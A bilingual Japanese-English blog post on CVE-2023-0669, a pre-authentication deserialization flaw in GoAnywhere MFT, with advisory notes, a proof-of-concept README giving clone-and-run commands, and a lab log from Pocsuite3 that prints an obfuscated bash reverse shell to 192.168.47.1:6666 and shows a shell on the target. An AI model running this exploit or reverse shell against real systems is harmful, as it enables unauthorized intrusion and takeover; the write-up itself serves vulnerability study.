CVE-2023-0669 GoAnywhere MFT デシリアライゼーション - Je Yiuwai's Blog

CVE-2023-0669

CVE-2023-0669 は GoAnywhere MFT のデシリアライゼーション脆弱性であり、License Response Servlet において、攻撃者が制御するオブジェクトをデシリアライズすることで、認証前にコマンドインジェクションが可能となります。攻撃者はこの脆弱性を利用して、対象システム上で任意のコードを実行し、システムを完全に制御することができます。この脆弱性はバージョン 7.1.2 未満に影響し、7.1.2 は含まれません。

CVE-2023-0669 is a GoAnywhere MFT deserialization vulnerability that exists in the License Response Servlet due to a pre-authenticated command injection vulnerability that allows an attacker to execute arbitrary code on the affected system by deserializing an object controlled by the attacker. The vulnerability affects versions prior to 7.1.2.

この脆弱性は、エンタープライズ向けファイル転送ソフトウェア GoAnywhere MFT のセキュリティに深刻な脅威をもたらします。攻撃者はこれを悪用して、機密データの窃取、データの改ざん、システムの破壊などを行う可能性があります。そのため、ユーザーはシステムを保護するために迅速な対策を講じる必要があります。

The vulnerability poses a serious threat to the security of enterprise-level file transfer software GoAnywhere MFT, as attackers can exploit it to steal sensitive data, tamper with data, and compromise systems. Therefore, users need to take measures promptly to protect their systems.

公式からセキュリティアドバイザリが公開され、初期確認方法が提供されています。ユーザーは userdata/logs ログ内に特定の文字列が含まれているかどうかを確認することで、システムがこの脆弱性の影響を受けているか判断できます。パッチを適用できない場合は、他のセキュリティ対策を講じてシステムを保護することを推奨します。

The official security advisory has been released, and preliminary inspection methods have been provided. Users can check whether their systems are affected by the vulnerability by looking for specific strings in the userdata/logs log. If patches cannot be applied, it is recommended to take other security measures to protect the system.

要約すると、CVE-2023-0669 はユーザーが注意すべきデシリアライゼーション脆弱性です。ユーザーは速やかに最新バージョンに更新し、システムがこの脆弱性の影響を受けていないかを確認する必要があります。また、GoAnywhere MFT などのエンタープライズ向けソフトウェアのセキュリティ管理体制を強化し、多層的なセキュリティ対策を講じてシステムを保護することを推奨します。

In summary, CVE-2023-0669 is a deserialization vulnerability that requires users' attention. Users need to update to the latest version promptly and check whether their systems are affected by the vulnerability. Additionally, it is recommended that users strengthen the security management of enterprise-level software such as GoAnywhere MFT and take multi-layered security measures to protect their systems.

CVE-2023-0669 PoC

概要

このExploitは、GoAnywhere MFT v6.7.9594 以前のバージョンにおける脆弱性 CVE-2023-0669 を悪用するための Python スクリプトです。

脆弱性の説明

本脆弱性は、GoAnywhere MFT における暗号化された Bundle リクエストの処理にセキュリティ上の問題が存在するために発生します。攻撃者は特別に細工したリクエストを送信し、対象サーバー上で任意のコードを実行できます。

使用方法

1. このリポジトリをクローンします。

git clone https://github.com/Avento/CVE-2023-0669.git

2. ディレクトリに移動します。

cd CVE-2023-0669

3. 依存ライブラリ requests と cryptography をインストールします。

pip install requests cryptography

4. Exploit を実行します。

python CVE-2023-0669.py --host <target IP>

注意事項

• この Exploit を実行するには正当なアクセス権限が必要であり、不正な目的で使用してはなりません。
• この Exploit の実行は対象サーバーにリスクをもたらすため、使用者はそのリスクと結果に対して単独で責任を負うものとします。

Introduction

This Exploit is a Python script used to exploit the vulnerability CVE-2023-0669 in GoAnywhere MFT v6.7.9594 and earlier versions.

Vulnerability Description

This vulnerability exists because of a security issue in processing encrypted Bundle requests in GoAnywhere MFT. An attacker can send a specially crafted request to execute arbitrary code on the target server.

Usage

1. Clone this repository.

git clone https://github.com/Avento/CVE-2023-0669.git

1. Enter the directory.

cd CVE-2023-0669

1. Install the dependencies of requests and cryptography.

pip install requests cryptography

1. Run the Exploit.

python CVE-2023-0669.py --host <target IP>

Note

• Running this Exploit requires legal access rights and should not be used for illegal purposes.
• As the execution of this Exploit poses a risk to the target server, the user is solely responsible for its risks and consequences.

RCE

$ python3 CVE-2023-0669.py --host 192.168.47.179:8000
Exploit Success ~

Pocsuite3

Pocsuite3 (pocs\Java_GoAnywhere_CVE-2023-0669) > check
[11:10:53] [INFO] pocsusite got a total of 1 tasks
[11:10:53] [INFO] running poc:'CVE-2023-0669 GoAnywhere MFT LicenseResponseServlet 反序列化' target 'http://192.168.47.179:8000'
[11:10:53] [+] Version : 7.0.3
[11:10:53] [INFO] Scan completed,ready to print

+----------------------------+--------------------------------------------------------------+---------------+----------------+--------------------------+---------+
| target-url                 |                           poc-name                           |     poc-id    |   component    |         version          |  status |
----------+---------+
| http://192.168.47.179:8000 | CVE-2023-0669 GoAnywhere MFT LicenseResponseServlet 反序列化 | CVE-2023-0669 | GoAnywhere MFT | 7.1.2 之前，不 包括 7.1.2 | success |
+----------------------------+--------------------------------------------------------------+---------------+----------------+--------------------------+---------+
success : 1 / 1
Pocsuite3 (pocs\Java_GoAnywhere_CVE-2023-0669) > shell
[11:11:55] [INFO] pocsusite got a total of 1 tasks
[11:11:55] [INFO] running poc:'CVE-2023-0669 GoAnywhere MFT LicenseResponseServlet 反序列化' target 'http://192.168.47.179:8000'
/bin/bash -c bash$IFS-i$IFS>&$IFS/dev/tcp/192.168.47.1/6666<&1
[11:11:55] [*] listening on 0.0.0.0:6666
[11:11:56] [+] new connection established from 192.168.47.179
[11:11:56] [INFO] Scan completed,ready to print
[11:11:56] [INFO] connect back ip: 192.168.47.1    port: 6666
[11:11:56] [INFO] watting for shell connect to pocsuite
Now Connected: 192.168.47.179
SHELL (192.168.47.179) > id
bash: cannot set terminal process group (20029): Inappropriate ioctl for device
bash: no job control in this shell
ubuntu@ubuntu:~/HelpSystems/GoAnywhere$ id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)

作成者：Je Yiuwai、xiaomi pad 6 pro により編集